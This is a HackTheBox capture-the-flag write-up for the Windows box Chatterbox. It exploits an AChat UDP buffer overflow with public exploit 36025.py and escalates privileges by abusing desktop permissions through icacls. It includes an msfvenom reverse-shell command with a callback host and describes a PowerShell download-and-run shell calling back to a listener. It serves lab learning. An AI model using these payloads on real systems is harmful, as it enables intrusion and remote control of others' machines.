
HTB: Chatterbox
An AChat server on UDP 9256 falls to a public buffer overflow once the exploit is reworked with unicode-safe shellcode and a PowerShell reverse shell, then full control over the Administrator's desktop lets us grant ourselves access to root.txt.
Chatterbox is a Windows box from HackTheBox. The foothold is a remote buffer overflow in AChat, a chat server listening on port 9256. The privesc is a simple permissions abuse on the Administrator's desktop. Getting the exploit to land took some work, so let's walk through it.
Recon
Looking at our nmap scan, we see a Windows 7 Professional SP1 machine. There are two ports nmap couldn't identify, 9255 and 9256, which both come back as tcpwrapped. Those seem like potential entry points.

SMB and RPC
Let's hit SMB and see if we have guest shares.
nxc smb 10.129.140.96 -u '' -p '' --shares
nxc smb 10.129.140.96 -u 'guest' -p '' --shares

No guest shares: the null session is denied and the guest account is disabled. OK, let's hit RPC now. enum4linux-ng runs rpcclient for us:
enum4linux-ng -A 10.129.140.96

We didn't get that much info. OK, let's scan those 2 ports over UDP and see what we get back.
sudo nmap -sU -p 9255,9256 --version-intensity 0 10.129.140.96

9256 is open, so let's enumerate a bit more.
Foothold: AChat buffer overflow
Doing some research on port 9256 on Windows 7 SP1, we find out that this is AChat, and it's vulnerable to a stack-based buffer overflow, CVE-2025-34127. A crafted message sent to UDP 9256 overwrites the structured exception handler (SEH) and gives us remote code execution.
We will create a unicode-encoded TCP reverse shell with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.211 LPORT=4444 EXITFUNC=thread -e x86/unicode_mixed BufferRegister=EAX -f python -v shellcode
AChat turns our input into Unicode, so the shellcode has to survive that. x86/unicode_mixed encodes it with Unicode-safe bytes, and BufferRegister=EAX tells the decoder that EAX will point at the shellcode when the exploit jumps to it.
Using searchsploit, we can grab the exploit we need.

searchsploit -m windows/remote/36025.py
We modify the code with our payload, change the IP to the server, and then let it rip.

Getting it to land
We fired the exploit but couldn't get a shell. This might be an egress issue, so let's use port 443 instead, modify the payload and re-execute.
Nothing I did would work. That's fine, let's move to the Metasploit version and see if that works.
In the end it was 36025.py that got us in, this time with a PowerShell reverse shell. We served Nishang's Invoke-PowerShellTcp script from a Python web server, and the shellcode had the box download and run it, calling back to our nc listener on 8082. (The box got reset along the way, which is why the IP changes to 10.129.140.118 from here on.)

It took a few tries, but it finally hit! We're on the box as alfred. Heading over to the desktop, we find the user.txt flag.

Privesc: Administrator desktop permissions
Now for the privesc. Looking at our privileges, there's nothing special here, just the standard set for a normal user.

So let's check the permissions on the Administrator's desktop instead:
icacls .
On the Administrator's desktop, icacls reveals that Alfred has full control (F) of the folder. That means we can grant ourselves access to root.txt.

icacls root.txt /grant alfred:F
We can now read the root.txt flag.

Closing thoughts
This box was good for learning how to modify public exploit scripts for the situation you're in. When the first approach doesn't land, do more research and keep exploring other options.
